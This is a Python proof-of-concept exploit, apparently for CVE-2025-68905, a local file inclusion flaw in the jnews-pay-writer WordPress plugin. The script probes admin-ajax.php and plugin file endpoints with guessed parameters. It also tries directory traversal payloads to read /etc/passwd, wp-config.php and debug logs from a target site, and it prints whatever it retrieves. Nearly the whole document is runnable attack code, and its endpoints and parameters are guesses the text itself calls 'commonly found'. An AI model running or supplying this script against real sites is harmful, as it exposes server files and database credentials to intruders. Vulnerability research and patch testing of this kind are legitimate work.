CVE-2025-68905

# CVE-2025-68905 PoC - Local File Inclusion in jnews-pay-writer # Affected: jnews-pay-writer <= 11.0.0 import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """Test for LFI vulnerability in jnews-pay-writer plugin""" # Common vulnerable endpoints in WordPress plugins paths_to_test = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/jnews-pay-writer/include/file.php', '/wp-content/plugins/jnews-pay-writer/framework/modules/file.php' ] # LFI parameters commonly found in WordPress plugins params_to_test = [ {'action': 'jnews_pay_writer_file', 'file': file_path}, {'action': 'jnews_pay_writer_include', 'file': file_path}, {'view': file_path}, {'module': file_path} ] print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for path in paths_to_test: for params in params_to_test: try: url = target_url.rstrip('/') + path response = requests.get(url, params=params, timeout=10) if file_path.split('/')[-1] in response.text or 'root:' in response.text: print(f"[+] VULNERABLE! {url} with params {params}") print(f"[+] Content preview:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[-] No vulnerability detected with basic tests") return False # Directory traversal variants def generate_payloads(): """Generate directory traversal payloads""" base_files = [ '../../../wp-config.php', '../../../wp-content/debug.log', '../../../../etc/passwd', '../../../../etc/hosts', '../../../../../var/www/html/wp-config.php' ] return base_files if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [file_to_read]") print(f"Example: python {sys.argv[0]} http://example.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' test_lfi(target, file_to_read) print("\n[*] Testing with multiple payloads:") for payload in generate_payloads(): test_lfi(target, payload)

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